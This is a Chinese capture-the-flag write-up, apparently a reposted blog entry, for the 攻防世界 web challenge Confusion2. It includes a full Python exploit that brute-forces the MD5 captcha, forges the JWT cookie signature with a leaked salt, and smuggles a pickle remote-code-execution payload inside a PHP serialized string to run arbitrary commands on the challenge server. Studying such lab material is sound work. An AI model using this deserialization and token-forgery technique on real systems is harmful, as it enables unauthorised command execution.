攻防世界 web高手进阶区 10分题Confusion2

前言

继续ctf的旅程
开始攻防世界web高手进阶区的10分题
本文是Confusion2的writeup

解题过程

在这里插入图片描述

Confusion1的伏笔

根据提示
本题是7分题Confusion1的延续
要用到salt

在这里插入图片描述
在Confusion1中给出了salt的位置/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt
类似获取flag方法

在这里插入图片描述

其值是_Y0uW1llN3verKn0w1t_

Confusion2

进来是跟Confusion1一样的界面

在这里插入图片描述
但他有了register和login界面
在这里插入图片描述
看源码和御剑都没有东西
那就注册登录看看

注册还需要一个MD5验证码
python脚本爆破下

# -*- coding: utf-8 -*-
 
import multiprocessing
import hashlib
import random
import string
import sys
 
 
CHARS = string.letters + string.digits
 
 
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
 
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
 
        if md5.hexdigest()[start: start+str_len] == substr:
            print rnds
            stop_event.set()
 
 
if __name__ == '__main__':
    substr = sys.argv[1].strip()
 
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
 
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len, start_pos))
                 for i in range(cpus)]
 
    for p in processes:
        p.start()
 
    for p in processes:
        p.join()

在这里插入图片描述
成功登录
在这里插入图片描述
发现用户名出现在页面上
没有别的发现

抓包看看
在这里插入图片描述

GET /index.php HTTP/1.1
Host: 220.249.52.133:32532
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://220.249.52.133:32532/login.php
Connection: close
Cookie: session=b5e3dd74-329b-47e7-9daf-15f1ab17016d; PHPSESSID=da787bdf-87b3-420d-ad5c-8f03e0fa173f; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiIxIn0.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NTY6XCIobHAxXG5WdGVzdFxucDJcbmFTJzA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2J1xucDNcbmEuXCI7fSJ9.MTk4OTBkZmM2YzBlNTZkZmZhYzY5NTkxYTQxMGZiMjM1ODE4NTE2NWJmZjdhZjNhZThmYzVkNDljOTVkMDg5Yw
Upgrade-Insecure-Requests: 1

发现cookie里有个token
这可能是可以操作的地方

其格式是x.y.z
可能是JWT

尝试解密
试了下是sha256

在这里插入图片描述
payload

{
    
    
  "data": "O:4:\"User\":2:{s:9:\"user_data\";s:56:\"(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na.\";}"
}

显然data是一个php序列化的字符串
头一疼
根据confusion1,这题应该是python
有点晕

再看看,发现User类中user_data这个属性

(lp1\nVtest\np2\naS'098f6bcd4621d373cade4e832627b4f6'\np3\na.

是Python序列化的字符串
序列化一下会发现这是一个列表

  • 第一个元素是用户名
  • 第二个元素是用户名的md5

这是可以注入的地方

python的序列化和php的序列化好说

不过还得绕过JWT
看signature

在这里插入图片描述
结合题目提示

 PS: Alice said she likes add salts when she was cooking.
 hint:Alice likes adding salt at the LAST

应该要加上confusion1里的salt
绕过方法如下

var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = SHA256(encodedString +  '_Y0uW1llN3verKn0w1t_');

那思路有了

  • 构造好Python序列化的RCE的字符串
  • 放进PHP的序列化的字符串里面
  • 根据上文JWT算法算出对应的签名
  • 替换Cookie,就能执行任意命令
  • Flag通过HTTP外带出来就行了

脚本
根据官方wp改的
注意:官方脚本里有个MD5proof包应该是出题人自己写的

import cPickle
import os
import sys
import base64
import hashlib
import json
import Cookie
import commands
import requests
import re


if os.name != 'posix':
    print 'This  must be run on Linux!'
    sys.exit(1)

sess = requests.Session()
url = 'http://220.249.52.133:35437/'
SALT = '_Y0uW1llN3verKn0w1t_'
username = 'test'
password = 'test'
cmd = 'ls'

def md5proof(strs,num):
    for i in range(100000,100000000):
        a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
        if a[0:num] == strs:
            print("[md5proof] %d" %i)
            return str(i)

def base64_url_encode(text):
    return base64.b64encode(text).replace('+', '-').replace('/', '_').replace('=', '')


def base64_url_decode(text):
    text = text.replace('-', '+').replace('_', '/')
    while True:
        try:
            result = base64.b64decode(text)
        except TypeError:
            text += '='
        else:
            break
    return result


class PickleRce(object):
    def __reduce__(self):
        return commands.getoutput, (cmd, )


def register(username, password):
    while True:
        verify = md5proof(
                re.findall(
                    '\'\),0,6\) === \'(.*?)\'</span>',
                    sess.get(url + 'login.php', allow_redirects=False).content
                    )[0],
                6)
        if len(verify) > 0 and '*' not in verify:
            break
    data = {
    
    
        'username': username,
        'password': password,
        'verify': verify
    }
    ret = sess.post(url + 'register.php', data=data, allow_redirects=False)
    if 'success' in ret.content:
        return True
    else:
        print '[!] Register failed!'
        print ret.content
        return False


def login(username, password):
    while True:
        verify = md5proof(re.findall('\'\),0,6\) === \'(.*?)\'</span>',
                                           sess.get(url + 'login.php', allow_redirects=False).content)[0],6)
        if len(verify) > 0 and '*' not in verify:
            break
    data = {
    
    
        'username': username,
        'password': password,
        'verify': verify
    }
    ret = sess.post(url + 'login.php', data=data, allow_redirects=False)
    if 'success' in ret.content:
        return ret
    else:
        print '[!] Login failed!'
        print ret.content
        return None


def create_jwt(kid, data):
    jwt_header = base64_url_encode(
        '{"typ":"JWT","alg":"sha256","kid":"%d"}' % kid)
    jwt_payload = base64_url_encode('{"data":"%s"}' % data)
    jwt_signature = base64_url_encode(hashlib.sha256(
        jwt_header + '.' + jwt_payload + SALT).hexdigest())
    return jwt_header + '.' + jwt_payload + '.' + jwt_signature


def serialize():
    payload = cPickle.dumps([PickleRce(), PickleRce()])
    data = json.dumps('O:4:"User":2:{s:9:"user_data";s:%d:"%s";}' % (
        len(payload), payload))[1:-1]
    print data
    return data


if register(username, password) is not None:
    login_result = login(username, password)
    if login_result is not None:
        try:
            while True:
                cmd = raw_input('>>> ')
                cookies = login_result.cookies
                # print '[*] Old Cookie token: ' + cookies['token']
                jwt = create_jwt(int(re.findall('"kid":"(.*?)"', base64_url_decode(
                    login_result.cookies['token'].split('.')[0]))[0]), serialize())
                new_token = Cookie.SimpleCookie().value_encode(jwt)[1]
                # print '[*] New Cookie token: ' + new_token
                new_cookies = {
    
    
                    'PHPSESSID': cookies['PHPSESSID'],
                    'token': new_token
                }
                ret = requests.get(url + 'index.php',
                                   allow_redirects=False, cookies=new_cookies)
                print '[*] RCE result: ' + re.findall('<p class="hello">Hello ([\s\S]*?)</p>', ret.content)[0]
        except KeyboardInterrupt:
            print '\nExit.'

在这里插入图片描述
根据提示flag在opt目录下
在这里插入图片描述
获得flag

结语

有点绕
参考官方wp

知识点

  • SSTI
  • md5截取
  • JWT的token
  • Python和PHP的序列化

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/109048503